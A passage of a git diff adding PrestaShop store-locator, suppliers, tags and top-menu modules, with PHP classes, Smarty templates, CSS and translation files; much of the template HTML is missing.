(Configuration::hasContext('BLOCKSTORE_IMG', null, Shop::getContext()) && Configuration::get('BLOCKSTORE_IMG') != $_FILES['store_img']['name']) + @unlink(dirname(__FILE__).'/'.Configuration::get('BLOCKSTORE_IMG')); + Configuration::updateValue('BLOCKSTORE_IMG', $_FILES['store_img']['name']); + $this->_clearCache('blockstore.tpl'); + return $this->displayConfirmation($this->l('The settings have been updated.')); + } + } + } + } + return ''; + } + + public function getContent() + { + $output = $this->postProcess().' +
        +
        + '.$this->l('Store locator block configuration').''; + if (Configuration::get('BLOCKSTORE_IMG')) + $output .= '
        '.$this->l('Store image').'
        '; + $output .= ' + +
        + ( '.$this->l('The selected image will be displayed as 174x115').' ) +
        + +

        + +

        +
        +
        + '; + return $output; + } +} + diff --git a/modules/blockstore/blockstore.tpl b/modules/blockstore/blockstore.tpl new file mode 100755 index 0000000..9e975ba --- /dev/null +++ b/modules/blockstore/blockstore.tpl @@ -0,0 +1,36 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + diff --git a/modules/blockstore/index.php b/modules/blockstore/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockstore/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockstore/logo.gif b/modules/blockstore/logo.gif new file mode 100755 index 0000000..659aace Binary files /dev/null and b/modules/blockstore/logo.gif differ diff --git a/modules/blockstore/logo.png b/modules/blockstore/logo.png new file mode 100755 index 0000000..a4b55f7 Binary files /dev/null and b/modules/blockstore/logo.png differ diff --git a/modules/blockstore/store.jpg b/modules/blockstore/store.jpg new file mode 100755 index 0000000..ab43bd5 Binary files /dev/null and b/modules/blockstore/store.jpg differ diff --git a/modules/blockstore/translations/en.php b/modules/blockstore/translations/en.php new file mode 100755 index 0000000..cd3acc1 --- /dev/null +++ b/modules/blockstore/translations/en.php @@ -0,0 +1,7 @@ +blockstore_34c869c542dee932ef8cd96d2f91cae6'] = 'Our store(s)!'; +$_MODULE['<{blockstore}prestashop>blockstore_61d5070a61ce6eb6ad2a212fdf967d92'] = 'Discover our store(s)d!'; diff --git a/modules/blockstore/translations/fr.php b/modules/blockstore/translations/fr.php new file mode 100755 index 0000000..f3c5301 --- /dev/null +++ b/modules/blockstore/translations/fr.php @@ -0,0 +1,19 @@ +blockstore_68e9ecb0ab69b1121fe06177868b8ade'] = 'Bloc magasins'; +$_MODULE['<{blockstore}prestashop>blockstore_2d7884c3777bd04028c4a55a820880a8'] = 'Affiche un bloc avec un lien vers la liste des magasins'; +$_MODULE['<{blockstore}prestashop>blockstore_126b21ce46c39d12c24058791a236777'] = 'image non valable'; +$_MODULE['<{blockstore}prestashop>blockstore_df7859ac16e724c9b1fba0a364503d72'] = 'une erreur s\'est produite lors de l\'envoi'; +$_MODULE['<{blockstore}prestashop>blockstore_efc226b17e0532afff43be870bff0de7'] = 'Paramètres mis à jour'; +$_MODULE['<{blockstore}prestashop>blockstore_151e79863510ec66281329505bf9fbde'] = 'Configuration du bloc magasins'; +$_MODULE['<{blockstore}prestashop>blockstore_2dd1d28275cdb8b78ebd17f6e25aac0d'] = 'Image du bloc'; +$_MODULE['<{blockstore}prestashop>blockstore_8c38cf08a0d0a01bd44c682479432350'] = 'Changer l\'image :'; +$_MODULE['<{blockstore}prestashop>blockstore_3eedfc0fbc9042acf0ecfe0f325428c4'] = 'l\'image sera affichée au format 174x115'; +$_MODULE['<{blockstore}prestashop>blockstore_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{blockstore}prestashop>blockstore_8c0caec5616160618b362bcd4427d97b'] = 'Nos magasins'; +$_MODULE['<{blockstore}prestashop>blockstore_142fe29b7422147cdac10259a0333c11'] = 'Découvrez nos magasins'; +$_MODULE['<{blockstore}prestashop>blockstore_34c869c542dee932ef8cd96d2f91cae6'] = 'Nos magasins'; +$_MODULE['<{blockstore}prestashop>blockstore_61d5070a61ce6eb6ad2a212fdf967d92'] = 'Découvrez nos magasins'; diff --git a/modules/blockstore/translations/index.php b/modules/blockstore/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockstore/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blocksupplier/blocksupplier.php b/modules/blocksupplier/blocksupplier.php new file mode 100755 index 0000000..9d809b2 --- /dev/null +++ b/modules/blocksupplier/blocksupplier.php @@ -0,0 +1,139 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class BlockSupplier extends Module +{ + function __construct() + { + $this->name = 'blocksupplier'; + $this->tab = 'front_office_features'; + $this->version = 1.0; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Suppliers block'); + $this->description = $this->l('Adds a block displaying product suppliers.'); + } + + function install() + { + if (!parent::install()) + return false; + if (!$this->registerHook('displayLeftColumn')) + return false; + if (!$this->registerHook('displayHeader')) + return false; + Configuration::updateValue('SUPPLIER_DISPLAY_TEXT', true); + Configuration::updateValue('SUPPLIER_DISPLAY_TEXT_NB', 5); + Configuration::updateValue('SUPPLIER_DISPLAY_FORM', true); + return true; + } + + function hookDisplayLeftColumn($params) + { + $id_lang = (int)Context::getContext()->language->id; + + $this->smarty->assign(array( + 'suppliers' => Supplier::getSuppliers(false, $id_lang), + 'link' => $this->context->link, + 'text_list' => Configuration::get('SUPPLIER_DISPLAY_TEXT'), + 'text_list_nb' => Configuration::get('SUPPLIER_DISPLAY_TEXT_NB'), + 'form_list' => Configuration::get('SUPPLIER_DISPLAY_FORM'), + 'display_link_supplier' => Configuration::get('PS_DISPLAY_SUPPLIERS') + )); + return $this->display(__FILE__, 'blocksupplier.tpl'); + } + + function getContent() + { + $output = '

        '.$this->displayName.'

        '; + if (Tools::isSubmit('submitBlockSuppliers')) + { + $text_list = (int)(Tools::getValue('text_list')); + $text_nb = (int)(Tools::getValue('text_nb')); + $form_list = (int)(Tools::getValue('form_list')); + if ($text_list AND !Validate::isUnsignedInt($text_nb)) + $errors[] = $this->l('Invalid number of elements'); + elseif (!$text_list AND !$form_list) + $errors[] = $this->l('Please activate at least one system list.'); + else + { + Configuration::updateValue('SUPPLIER_DISPLAY_TEXT', $text_list); + Configuration::updateValue('SUPPLIER_DISPLAY_TEXT_NB', $text_nb); + Configuration::updateValue('SUPPLIER_DISPLAY_FORM', $form_list); + } + if (isset($errors) AND sizeof($errors)) + $output .= $this->displayError(implode('
        ', $errors)); + else + $output .= $this->displayConfirmation($this->l('Settings updated')); + } + return $output.$this->displayForm(); + } + + public function displayForm() + { + $output = ' +
        +
        '.$this->l('Settings').' + +
        + + + + +    '.$this->l('Display').' '.$this->l('Elements').' +

        '.$this->l('Display suppliers as a plain-text list').'

        +
        + +
        + + + + +

        '.$this->l('Display suppliers as a drop-down list.').'

        +
        +
        +
        +
        '; + return $output; + } + + function hookDisplayRightColumn($params) + { + return $this->hookDisplayLeftColumn($params); + } + + function hookDisplayHeader($params) + { + $this->context->controller->addCSS(($this->_path).'blocksupplier.css', 'all'); + } +} + diff --git a/modules/blocksupplier/blocksupplier.tpl b/modules/blocksupplier/blocksupplier.tpl new file mode 100755 index 0000000..2460dab --- /dev/null +++ b/modules/blocksupplier/blocksupplier.tpl @@ -0,0 +1,59 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
        +

        {if $display_link_supplier}{/if}{l s='Suppliers' mod='blocksupplier'}{if $display_link_supplier}{/if}

        +
        +{if $suppliers} + {if $text_list} + + {/if} + {if $form_list} +
        +

        + +

        +
        + {/if} +{else} +

        {l s='No supplier' mod='blocksupplier'}

        +{/if} +
        +
        + diff --git a/modules/blocksupplier/img/arrow_right_2.png b/modules/blocksupplier/img/arrow_right_2.png new file mode 100755 index 0000000..c970f18 Binary files /dev/null and b/modules/blocksupplier/img/arrow_right_2.png differ diff --git a/modules/blocksupplier/img/index.php b/modules/blocksupplier/img/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blocksupplier/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blocksupplier/index.php b/modules/blocksupplier/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blocksupplier/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blocksupplier/logo.gif b/modules/blocksupplier/logo.gif new file mode 100755 index 0000000..e5cb1f2 Binary files /dev/null and b/modules/blocksupplier/logo.gif differ diff --git a/modules/blocksupplier/logo.png b/modules/blocksupplier/logo.png new file mode 100755 index 0000000..3627afc Binary files /dev/null and b/modules/blocksupplier/logo.png differ diff --git a/modules/blocksupplier/translations/fr.php b/modules/blocksupplier/translations/fr.php new file mode 100755 index 0000000..cc7af59 --- /dev/null +++ b/modules/blocksupplier/translations/fr.php @@ -0,0 +1,24 @@ +blocksupplier_9ae42413e3cb9596efe3857f75bad3df'] = 'Bloc fournisseurs'; +$_MODULE['<{blocksupplier}prestashop>blocksupplier_7518289633b3d69dfa42cfe8d64940a5'] = 'Ajoute un bloc affichant les fournisseurs.'; +$_MODULE['<{blocksupplier}prestashop>blocksupplier_cf64d2d0bc5de5ce3d309d0e899d36fb'] = 'Nombre non valable d\'éléments'; +$_MODULE['<{blocksupplier}prestashop>blocksupplier_5b2e13ff6fa0da895d14bd56f2cb2d2d'] = 'Veuillez activer au moins une liste.'; +$_MODULE['<{blocksupplier}prestashop>blocksupplier_c888438d14855d7d96a2724ee9c306bd'] = 'Paramètres mis à jour'; +$_MODULE['<{blocksupplier}prestashop>blocksupplier_f4f70727dc34561dfde1a3c529b6205c'] = 'Paramètres'; +$_MODULE['<{blocksupplier}prestashop>blocksupplier_b4251faa73b3c8188623fdc8fe287513'] = 'Utiliser une liste textuelle'; +$_MODULE['<{blocksupplier}prestashop>blocksupplier_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; +$_MODULE['<{blocksupplier}prestashop>blocksupplier_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{blocksupplier}prestashop>blocksupplier_b9987a246a537f4fe86f1f2e3d10dbdb'] = 'Afficher'; +$_MODULE['<{blocksupplier}prestashop>blocksupplier_aa56a2e65d8106aef3c61e4f6bf94fdb'] = 'éléments'; +$_MODULE['<{blocksupplier}prestashop>blocksupplier_abafe33995bb3ad9f51fbbe2dd309bf8'] = 'Afficher les fournisseurs sous forme de liste'; +$_MODULE['<{blocksupplier}prestashop>blocksupplier_ac88955a067710291274d21dec443904'] = 'Utiliser un menu déroulant'; +$_MODULE['<{blocksupplier}prestashop>blocksupplier_d02aed94c0fd8800800f9ca6920acc4b'] = 'Afficher les fournisseurs avec un menu déroulant'; +$_MODULE['<{blocksupplier}prestashop>blocksupplier_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{blocksupplier}prestashop>blocksupplier_1814d65a76028fdfbadab64a5a8076df'] = 'Fournisseurs'; +$_MODULE['<{blocksupplier}prestashop>blocksupplier_49fa2426b7903b3d4c89e2c1874d9346'] = 'En savoir plus sur'; +$_MODULE['<{blocksupplier}prestashop>blocksupplier_ecf253735ac0cba84a9d2eeff1f1b87c'] = 'Tous les fournisseurs'; +$_MODULE['<{blocksupplier}prestashop>blocksupplier_496689fbd342f80d30f1f266d060415a'] = 'Aucun fournisseur'; diff --git a/modules/blocksupplier/translations/index.php b/modules/blocksupplier/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blocksupplier/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blocktags/blocktags.css b/modules/blocktags/blocktags.css new file mode 100755 index 0000000..eaf4fc0 --- /dev/null +++ b/modules/blocktags/blocktags.css @@ -0,0 +1,20 @@ +/* Block tags */ +div.tags_block .block_content { padding: 3px 6px 0 } +div.tags_block p { + text-align: justify; + font-size: 0.9em +} +div.tags_block p a { + margin: 0 0.1em; + line-height: 1.5em; + padding:2px; +} +div.tags_block p a:hover { + background-color: #ccc; + text-decoration: none; + padding:2px; + color:#333333; +} +a.tag_level3 { font-size: 1.8em; font-weight: bold } +a.tag_level2 { font-size: 1.4em } +a.tag_level1 { font-size: 1em; color: #888 } diff --git a/modules/blocktags/blocktags.php b/modules/blocktags/blocktags.php new file mode 100755 index 0000000..bd9aaf0 --- /dev/null +++ b/modules/blocktags/blocktags.php @@ -0,0 +1,139 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +define('BLOCKTAGS_MAX_LEVEL', 3); + +class BlockTags extends Module +{ + function __construct() + { + $this->name = 'blocktags'; + $this->tab = 'front_office_features'; + $this->version = '1.1'; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Tags block'); + $this->description = $this->l('Adds a block containing product tags.'); + } + + function install() + { + if (parent::install() == false + || $this->registerHook('leftColumn') == false + || $this->registerHook('header') == false + || Configuration::updateValue('BLOCKTAGS_NBR', 10) == false) + return false; + return true; + } + + public function getContent() + { + $output = '

        '.$this->displayName.'

        '; + if (Tools::isSubmit('submitBlockTags')) + { + if (!($tagsNbr = Tools::getValue('tagsNbr')) || empty($tagsNbr)) + $output .= '
        '.$this->l('Please complete the "tags displayed" field.').'
        '; + elseif ((int)($tagsNbr) == 0) + $output .= '
        '.$this->l('Invalid number.').'
        '; + else + { + Configuration::updateValue('BLOCKTAGS_NBR', (int)$tagsNbr); + $output .= '
        '.$this->l('Settings updated').'
        '; + } + } + return $output.$this->displayForm(); + } + + public function displayForm() + { + $output = ' +
        +
        '.$this->l('Settings').' + +
        + +

        '.$this->l('Define the number of tags you would like displayed in this block.').'

        +
        +
        +
        +
        '; + return $output; + } + + /** + * Returns module content for left column + * + * @param array $params Parameters + * @return string Content + * + */ + function hookLeftColumn($params) + { + $tags = Tag::getMainTags((int)($params['cookie']->id_lang), (int)(Configuration::get('BLOCKTAGS_NBR'))); + + $max = -1; + $min = -1; + foreach ($tags as $tag) + { + if ($tag['times'] > $max) + $max = $tag['times']; + if ($tag['times'] < $min || $min == -1) + $min = $tag['times']; + } + + if ($min == $max) + $coef = $max; + else + { + $coef = (BLOCKTAGS_MAX_LEVEL - 1) / ($max - $min); + } + + if (!sizeof($tags)) + return false; + foreach ($tags AS &$tag) + $tag['class'] = 'tag_level'.(int)(($tag['times'] - $min) * $coef + 1); + $this->smarty->assign('tags', $tags); + + return $this->display(__FILE__, 'blocktags.tpl'); + } + + function hookRightColumn($params) + { + return $this->hookLeftColumn($params); + } + + function hookHeader($params) + { + $this->context->controller->addCSS(($this->_path).'blocktags.css', 'all'); + } + +} diff --git a/modules/blocktags/blocktags.tpl b/modules/blocktags/blocktags.tpl new file mode 100755 index 0000000..bbfd330 --- /dev/null +++ b/modules/blocktags/blocktags.tpl @@ -0,0 +1,39 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
        +

        {l s='Tags' mod='blocktags'}

        +

        +{if $tags} + {foreach from=$tags item=tag name=myLoop} + {$tag.name|escape:html:'UTF-8'} + {/foreach} +{else} + {l s='No tags have been specified yet.' mod='blocktags'} +{/if} +

        +
        + diff --git a/modules/blocktags/index.php b/modules/blocktags/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blocktags/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blocktags/logo.gif b/modules/blocktags/logo.gif new file mode 100755 index 0000000..291bfc7 Binary files /dev/null and b/modules/blocktags/logo.gif differ diff --git a/modules/blocktags/logo.png b/modules/blocktags/logo.png new file mode 100755 index 0000000..9c62dae Binary files /dev/null and b/modules/blocktags/logo.png differ diff --git a/modules/blocktags/translations/en.php b/modules/blocktags/translations/en.php new file mode 100755 index 0000000..2419310 --- /dev/null +++ b/modules/blocktags/translations/en.php @@ -0,0 +1,6 @@ +blocktags_70d5e9f2bb7bcb17339709134ba3a2c6'] = 'No tags have been specified yet.'; diff --git a/modules/blocktags/translations/fr.php b/modules/blocktags/translations/fr.php new file mode 100755 index 0000000..2c5e40e --- /dev/null +++ b/modules/blocktags/translations/fr.php @@ -0,0 +1,18 @@ +blocktags_f2568a62d4ac8d1d5b532556379772ba'] = 'Bloc tags'; +$_MODULE['<{blocktags}prestashop>blocktags_2a87377a6bc89f0dfe2eafe3b240c19c'] = 'Ajoute un bloc contenant les tags et un lien vers la recherche correspondante'; +$_MODULE['<{blocktags}prestashop>blocktags_c484b0cda62bd4dbd9c22d095e1b654c'] = 'Vous devez remplir le champs \"tags affichés\".'; +$_MODULE['<{blocktags}prestashop>blocktags_73293a024e644165e9bf48f270af63a0'] = 'Nombre non valable.'; +$_MODULE['<{blocktags}prestashop>blocktags_c888438d14855d7d96a2724ee9c306bd'] = 'Paramètres mis à jour'; +$_MODULE['<{blocktags}prestashop>blocktags_f4f70727dc34561dfde1a3c529b6205c'] = 'Paramètres'; +$_MODULE['<{blocktags}prestashop>blocktags_a2701a006c71c9097d80ea1ddaea8fa9'] = 'Tags affichés'; +$_MODULE['<{blocktags}prestashop>blocktags_2ae74fc125d2af584b168312cdf79dc0'] = 'Nombre de tags affichés dans le bloc'; +$_MODULE['<{blocktags}prestashop>blocktags_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{blocktags}prestashop>blocktags_189f63f277cd73395561651753563065'] = 'Tags'; +$_MODULE['<{blocktags}prestashop>blocktags_49fa2426b7903b3d4c89e2c1874d9346'] = 'En savoir plus sur'; +$_MODULE['<{blocktags}prestashop>blocktags_4e6307cfde762f042d0de430e82ba854'] = 'Aucun tag spécifié pour le moment'; +$_MODULE['<{blocktags}prestashop>blocktags_70d5e9f2bb7bcb17339709134ba3a2c6'] = 'Aucun tag spécifié pour le moment'; diff --git a/modules/blocktags/translations/index.php b/modules/blocktags/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blocktags/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blocktopmenu/blocktopmenu.php b/modules/blocktopmenu/blocktopmenu.php new file mode 100755 index 0000000..4d7d160 --- /dev/null +++ b/modules/blocktopmenu/blocktopmenu.php @@ -0,0 +1,895 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +require (dirname(__FILE__).'/menutoplinks.class.php'); + +class Blocktopmenu extends Module +{ + private $_menu = ''; + private $_html = ''; + private $user_groups; + + /* + * Pattern for matching config values + */ + private $pattern = '/^([A-Z_]*)[0-9]+/'; + + /* + * Name of the controller + * Used to set item selected or not in top menu + */ + private $page_name = ''; + + /* + * Spaces per depth in BO + */ + private $spacer_size = '5'; + + public function __construct() + { + $this->name = 'blocktopmenu'; + $this->tab = 'front_office_features'; + $this->version = 1.5; + $this->author = 'PrestaShop'; + + parent::__construct(); + + $this->displayName = $this->l('Top horizontal menu'); + $this->description = $this->l('Add a new horizontal menu to the top of your e-commerce website.'); + } + + public function install() + { + if (!parent::install() || + !$this->registerHook('displayTop') || + !Configuration::updateGlobalValue('MOD_BLOCKTOPMENU_ITEMS', 'CAT1,CMS1,CMS2,PRD1') || + !Configuration::updateGlobalValue('MOD_BLOCKTOPMENU_SEARCH', '1') || + !$this->registerHook('actionObjectCategoryUpdateAfter') || + !$this->registerHook('actionObjectCategoryDeleteAfter') || + !$this->registerHook('actionObjectCmsUpdateAfter') || + !$this->registerHook('actionObjectCmsDeleteAfter') || + !$this->registerHook('actionObjectSupplierUpdateAfter') || + !$this->registerHook('actionObjectSupplierDeleteAfter') || + !$this->registerHook('actionObjectManufacturerUpdateAfter') || + !$this->registerHook('actionObjectManufacturerDeleteAfter') || + !$this->registerHook('actionObjectProductUpdateAfter') || + !$this->registerHook('actionObjectProductDeleteAfter') || + !$this->registerHook('categoryUpdate') || + !$this->registerHook('actionShopDataDuplication') || + !$this->installDB()) + return false; + return true; + } + + public function installDb() + { + return (Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'linksmenutop` ( + `id_linksmenutop` INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY, + `id_shop` INT(11) UNSIGNED NOT NULL, + `new_window` TINYINT( 1 ) NOT NULL, + INDEX (`id_shop`) + ) ENGINE = '._MYSQL_ENGINE_.' CHARACTER SET utf8 COLLATE utf8_general_ci;') && + Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'linksmenutop_lang` ( + `id_linksmenutop` INT(11) UNSIGNED NOT NULL, + `id_lang` INT(11) UNSIGNED NOT NULL, + `id_shop` INT(11) UNSIGNED NOT NULL, + `label` VARCHAR( 128 ) NOT NULL , + `link` VARCHAR( 128 ) NOT NULL , + INDEX ( `id_linksmenutop` , `id_lang`, `id_shop`) + ) ENGINE = '._MYSQL_ENGINE_.' CHARACTER SET utf8 COLLATE utf8_general_ci;')); + } + + public function uninstall() + { + if (!parent::uninstall() || + !Configuration::deleteByName('MOD_BLOCKTOPMENU_ITEMS') || + !Configuration::deleteByName('MOD_BLOCKTOPMENU_SEARCH') || + !$this->uninstallDB()) + return false; + return true; + } + + private function uninstallDb() + { + Db::getInstance()->execute('DROP TABLE `'._DB_PREFIX_.'linksmenutop`'); + Db::getInstance()->execute('DROP TABLE `'._DB_PREFIX_.'linksmenutop_lang`'); + return true; + } + + public function getContent() + { + $id_lang = (int)Context::getContext()->language->id; + $languages = $this->context->controller->getLanguages(); + $default_language = (int)Configuration::get('PS_LANG_DEFAULT'); + + $labels = Tools::getValue('label') ? array_filter(Tools::getValue('label'), 'strlen') : array(); + $links_label = Tools::getValue('link') ? array_filter(Tools::getValue('link'), 'strlen') : array(); + $spacer = str_repeat(' ', $this->spacer_size); + $divLangName = 'link_label'; + + $update_cache = false; + + if (Tools::isSubmit('submitBlocktopmenu')) + { + if (Configuration::updateValue('MOD_BLOCKTOPMENU_ITEMS', Tools::getValue('items'))) + $this->_html .= $this->displayConfirmation($this->l('The settings have been updated.')); + else + $this->_html .= $this->displayError($this->l('Unable to update settings.')); + Configuration::updateValue('MOD_BLOCKTOPMENU_SEARCH', (bool)Tools::getValue('search')); + $update_cache = true; + } + else if (Tools::isSubmit('submitBlocktopmenuLinks')) + { + + if ((!count($links_label)) && (!count($labels))) + ; + else if (!count($links_label)) + $this->_html .= $this->displayError($this->l('Please complete the "link" field.')); + else if (!count($labels)) + $this->_html .= $this->displayError($this->l('Please add a label')); + else if (!isset($labels[$default_language])) + $this->_html .= $this->displayError($this->l('Please add a label for your default language.')); + else + { + MenuTopLinks::add(Tools::getValue('link'), Tools::getValue('label'), Tools::getValue('new_window', 0), (int)Shop::getContextShopID()); + $this->_html .= $this->displayConfirmation($this->l('The link has been added.')); + } + $update_cache = true; + } + else if (Tools::isSubmit('submitBlocktopmenuRemove')) + { + $id_linksmenutop = Tools::getValue('id_linksmenutop', 0); + MenuTopLinks::remove($id_linksmenutop, (int)Shop::getContextShopID()); + Configuration::updateValue('MOD_BLOCKTOPMENU_ITEMS', str_replace(array('LNK'.$id_linksmenutop.',', 'LNK'.$id_linksmenutop), '', Configuration::get('MOD_BLOCKTOPMENU_ITEMS'))); + $this->_html .= $this->displayConfirmation($this->l('The link has been removed')); + $update_cache = true; + } + else if (Tools::isSubmit('submitBlocktopmenuEdit')) + { + $id_linksmenutop = (int)Tools::getValue('id_linksmenutop', 0); + $id_shop = (int)Shop::getContextShopID(); + + if (!Tools::isSubmit('link')) + { + $tmp = MenuTopLinks::getLinkLang($id_linksmenutop, $id_shop); + $links_label_edit = $tmp['link']; + $labels_edit = $tmp['label']; + $new_window_edit = $tmp['new_window']; + } + else + { + MenuTopLinks::update(Tools::getValue('link'), Tools::getValue('label'), Tools::getValue('new_window', 0), (int)$id_shop, (int)$id_linksmenutop, (int)$id_linksmenutop); + $this->_html .= $this->displayConfirmation($this->l('The link has been edited')); + } + $update_cache = true; + } + + if ($update_cache) + $this->clearMenuCache(); + + $this->_html .= ' +
        +
